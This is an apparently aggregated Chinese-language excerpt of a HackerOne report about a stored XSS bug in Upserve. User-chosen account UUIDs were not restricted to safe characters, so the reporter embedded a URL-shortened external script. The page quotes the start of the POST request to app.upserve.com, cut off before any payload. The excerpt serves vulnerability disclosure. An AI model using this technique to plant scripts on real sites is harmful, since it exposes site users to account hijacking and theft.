Ability to create own account UUID leads to stored XSS
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原文摘录
摘自原文（1633 字符中的一小部分）
I found an interesting bug where the system allows a user to create their own UUIDs. There are character length restrictions on this action, however it's not bound to a specific set of characters. Even so, I was able to include an external script that I URL shortened to just hit the character limit …
原文中的代码
POST /c/user HTTP/1.1 Host: app.upserve.com Accept: application/json Accept-Language: en-US,en;q=0.5 X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://app.upserve.com/settings/account Content-Length: 134 Content-Type: …
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时间线
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阅读 HackerOne 原文 ↗作者 @cache-money · 版权归作者与 Upserve 所有